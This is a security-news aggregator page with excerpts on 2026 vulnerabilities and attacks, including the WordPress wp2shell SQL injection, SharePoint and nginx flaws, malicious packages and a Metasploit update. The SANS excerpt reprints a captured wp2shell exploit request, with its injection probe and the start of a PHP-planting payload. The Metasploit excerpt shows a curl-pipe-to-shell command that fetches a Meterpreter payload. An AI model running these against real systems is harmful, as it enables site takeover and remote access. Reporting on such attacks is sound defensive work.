Security & IT News

Researchers escaped the sandboxes in Cursor, Codex, Gemini CLI and Antigravity by having the AI agent write files that trusted host tools later run. Multiple CVEs, patches, and Google downgrading two Antigravity findings. [...]

Last week, Searchlight Cyber released details about a vulnerability they are calling wp2shell . The vulnerability was initially announced without a CVE number. But now has been assigned CVE-2026-63030. Many WordPress plugin vulnerabilities are never assigned CVE numbers. But wp2shell is different. It is a SQL injection vulnerability in WordPress Core, not a plugin, and can lead to unauthenticated remote code execution. Shortly after being announced, the vulnerability started to be exploited. If you are running WordPress, stop reading now. Check if you are vulnerable at https://wp2shell.com . Assume compromise if you are vulnerable. The exploit attempts hitting our honeypots are designed to detect the vulnerability, and do not deliver a functional exploit. But one of our readers submitted a complete exploit request captured by SecurityOnion: POST /?rest_route=/batch/v1 HTTP/1.1 Accept-Encoding: identity Content-Length: 735 Host: [hostname redacted]:8888 Content-Type: application/json User-Agent: cve-2026-63030/1.0 Connection: close { requests : [{ method : POST , path : /// }, { method : POST , path : /wp/v2/posts , body : { requests : [{ method : POST , path : /// }, { method : GET , path : /wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+- orderby=none per_page=500 }, { method : GET , path : /wp/v2/posts }]}}, { method : POST , path : /batch/v1 , body : { requests : []}}]} The vulnerability is exploited via the REST API, and in order to be exploitable, a WordPress install must expose the API. The exploit follows standard SQL injection patterns. It uses a UNION request to execute a second SELECT statement. The second SELECT query decodes to: SELECT 999999,2,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,5,CONCAT(0x7c7c,HEX(CAST((SELECT 0x4f4b)AS CHAR)),0x7c7c),7,0x7075626c697368,9,10,11,12,13,14,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,17,18,19,20,0x706f7374,22,23 Decoding the HEX part: SELECT 999999,2,'2020-01-01 00:00:00', ' 2020-01-01 00:00:00', 5, '||OK||', 7, 'publish', 9,10,11,12,13,14,'2020-01-01 00:00:00','2020-01-01 00:00:00',17,18,19,20,'post',22,23 This is a query to determine whether the system is vulnerable to SQL injection. The next query delivers the actual exploit: { requests :[{ method : POST , path : /// },{ body :{ requests :[{ method : POST , path : /// },{ method : GET , path : /wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+%27%3C%3Fphp+error_reporting%280%29%3B%40ini_set%28%5C%27display_errors%5C%27%2C0%29%3B%24k%3D%2294uh9ubh6e1x

Choosing an AI SOC platform requires understanding how it will perform in your own environment, not just during an evaluation. Prophet Security shares a practical framework for assessing AI SOC solutions, including how to validate accuracy, operating models, long-term reliability, and production readiness. [...]

The industry spent the initial months after Anthropic's April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long would it take adversaries to weaponize Mythos findings at scale? Those questions were and remain valid. Yet they all stop short of

Attackers have begun exploiting a critical vulnerability (CVE-2026-6875) in the ServiceNow AI Platform, according to threat intelligence company Defused. [...]

Opening a crafted XZ archive in 7-Zip could let an attacker run code on the machine. The flaw, CVE-2026-14266, is a heap-based buffer overflow in how the archiver processes XZ chunked data, and Trend Micro's Zero Day Initiative (ZDI) detailed it on July 15. A fix shipped on June 25 in 7-Zip 26.02. The overflow lets an attacker "execute code in the context of the current process," per the

Cybersecurity researchers have flagged a new software supply chain attack codenamed SleeperGem targeting the Ruby ecosystem after three malicious gems were published to RubyGems with the end goal of serving additional payloads. The rogue gems are listed below - git_credential_manager (versions 2.8.0, 2.8.1, 2.8.2, 2.8.3) - Published on July 18, 2026 Dendreo (versions 1.1.3, 1.1.4) -

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

F5 has shipped fixes for a critical nginx flaw that lets a remote, unauthenticated attacker trigger a heap buffer overflow in the worker process with crafted HTTP requests. CVE-2026-42533 was patched on July 15 in nginx 1.30.4 (stable) and 1.31.3 (mainline), and in NGINX Plus 37.0.3.1; anyone on an earlier build should upgrade. Triggering it can crash or restart the worker, causing a denial of

We have been following issues with Hikvision cameras for a long, long time . Like many similar products, Hikvision cameras have a long history of vulnerabilities and are often targeted by internet-wide scans that our honeypot network detects. This weekend, I noticed a new type of recon scans against the newer OPEN Intelligent Security API (ISAPI) provided by Hikvision cameras. This REST-based API does provide access to a wide range of features. Despite using the word Intelligent in its name, the API is not limited to some of the AI/facial recognition functions, but can be used to fully control the camera settings and manage the camera. The API is intended for integration with various third-party products and is well-documented by Hikvision. The ISAPI has been around since at least 2018, but I have only now noticed scans for /ISAPI/System/status, an endpoint that is an obvious choice to profile ISAPI devices. Messages can use XML or JSON. Most examples I have seen use XML. ISAPI requests are authenticated using Basic or Digest authentication. The cameras support HTTPS, but of course, like for many similar IoT devices, it must first be configured with appropriate keys and certificates. Messages may also be encrypted with AES 128 or 256 in CBC mode. The encryption key is derived from the password, and the iv is exposed in the URL. As a result, the encryption does not provide any additional security if Basic authentication is used and the password is sent in the clear. HTTPS should provide more comprehensive protection. The URL our sensors noticed this weekend, /ISAPI/System/status, returns XML (or JSON) formatted system information. It is likely a simple way to verify whether the device supports ISAPI (I expect a 401 or 403 response if the URL exists, and a 404 response if it does not), and the URL may be useful for brute-forcing a password. So far, our honeypots have not captured full requests (not all honeypots do so). I will update this diary if I find some complete requests with authentication data (if included). And as always, do not expose these cameras to the internet, and do not place them in sensitive areas. -- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter | (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft has observed a surge in attacks using the ACR Stealer malware to steal browser-stored passwords, authentication tokens, and sensitive documents from its enterprise customers. [...]

As age verification laws expand worldwide, organizations face growing pressure to protect users' privacy while meeting regulatory requirements. Incode explains how on-device age estimation verifies age without transmitting or storing facial images, reducing biometric privacy risks while supporting compliance. [...]

Overview On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030 , a critical unauthenticated remote code execution vulnerability affecting WordPress Core . WordPress Core. While the official GitHub security advisory classifies the severity as Critical, the vulnerability has currently been assigned a CVSS score of 7.5. WordPress is one of the most widely deployed content management systems, making vulnerabilities in its core software potentially significant for organizations operating public-facing websites. The vulnerability reportedly allows an unauthenticated attacker to execute code via the WordPress REST API batch endpoint, potentially resulting in complete compromise of the website and its underlying data. No valid account or user interaction is required. According to the advisory , the vulnerability affects WordPress versions 6.9.0 through 6.9.4 and versions 7.0.0 through 7.0.1. The issue is fixed in WordPress 6.9.5 and 7.0.2. A fix is also included in WordPress 7.1 Beta 2. Cloudflare reported that the vulnerable code path can be reached when a persistent object cache is not in use. Searchlight Cyber, whose researchers identified the vulnerability, stated that it can be exploited remotely against a default WordPress installation without requiring additional plugins. Technical exploit details have not yet been published by Searchlight Cyber , as of July 17 5:45 PM Eastern time. At the time of publication, Rapid7 is not aware of publicly confirmed in-the-wild exploitation. Organizations should not interpret the absence of public exploitation reports as an indication of low risk, particularly given the vulnerability’s unauthenticated attack path and the widespread deployment of WordPress; affected WordPress sites should be urgently patched. Due to WordPress Core being an open-source project and given the current ability of AI models to analyze open-source code, Rapid7 Labs believes it is highly likely that a public PoC will be made available in a short period of time. Mitigation guidance Organizations operating affected WordPress installations should prioritize upgrading immediately. Applying the WordPress-provided update is the most effective way to remediate CVE-2026-63030. Affected and fixed versions include: WordPress branch Affected versions Fixed version Earlier than 6.9 Not affected by CVE-2026-63030 No action required for this CVE 6.9 6.9.0 through 6.9.4 6.9.5 7.0 7.0.0 through 7.0.1 7.0.2 7.1 beta Affected beta versions were not fully specified 7.1 Beta 2 WordPress maintainers stated they are forcing updates for affected installations with automatic updates enabled. Administrators should nevertheless verify that each internet-facing WordPress website has successfully upgraded to WordPress 6.9.5, 7.0.2, or another fixed release appropriate for its branch. Workarounds are not recommended at this time. Rapid7 customers Exposure Command, InsightVM, and Nexpose Exposure Command, InsightVM, and Nexpose customers can a

An anonymous HTTP request can run code on a WordPress site. The bug is in core, so a bare install with zero plugins is exploitable. Every 6.9 and 7.0 site was in range until Friday, when WordPress shipped 6.9.5 and 7.0.2 and enabled what it calls forced updates through its auto-update system. Adam Kues at Assetnote, Searchlight Cyber's attack surface management arm, found the flaw and reported

Abbott Laboratories is investigating two separate cybersecurity incidents after confirming unauthorized access to internal legacy Exact Sciences systems in its Cancer Diagnostics business, while also investigating a separate claim that attackers breached its LabCentral portal and stole company data. [...]

Eleven bytes will make an unpatched OpenSSL server set aside up to 131 KB of memory for a message that never arrives. On the glibc systems Okta tested, that memory is gone until the process restarts. OpenSSL shipped the HollowByte fix in June with no CVE, no advisory, and no changelog entry pointing at it. Okta's Red Team, which reported the denial-of-service bug and named it, published the

Metasploit Wrap Up Housekeeping While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released. Fetch Multi: Just Fetch and Forget? Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads. Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target. msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) show options Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3 .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+ , shell-search, shell) FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH x no Local URI to use for serving payload LHOST 10.5.135.210 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port When FETCH_COMMAND is one of CURL,GET,WGET: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_PIPE true yes Host both the binary payload and the command so it can be piped dire ctly to the shell. When FETCH_FILELESS is none: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot co ntain spa

Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron,

Overview On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644 , a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data ( CWE-502 ) and allows an unauthenticated attacker to execute arbitrary code. Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities ( KEV ) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts. Affected products: Microsoft SharePoint Enterprise Server 2016 Microsoft SharePoint Server 2019 Microsoft SharePoint Server Subscription Edition Mitigation guidance Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis. Microsoft’s recommendations: Apply the July 14, 2026 security updates for all affected SharePoint versions. Verify that security updates completed successfully across all SharePoint servers. Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application. Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation. Initiate incident response procedures if exploitation artifacts are detected. Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity. AMSI / Microsoft Defender detections: Exploit:Script/SuspSignoutReqBody.A Request body scanning SharePoint Server Subscription Edition Microsoft reports observed exploitation attempts are blocked by this signature. Exploit:Script/ToolPaneAuthBypass.A Request header scanning Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition. Exploit:Script/ToolPaneAuthBypass At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed. Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability. Rapid7 customers Exposure Command, InsightVM, and Nexpose Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release. Updates July 17, 2026 : Initial publication.

A vulnerability dubbed HollowByte allows unauthenticated attackers to trigger a denial-of-service (DoS) condition on OpenSSL servers with a malicious payload of just 11 bytes. [...]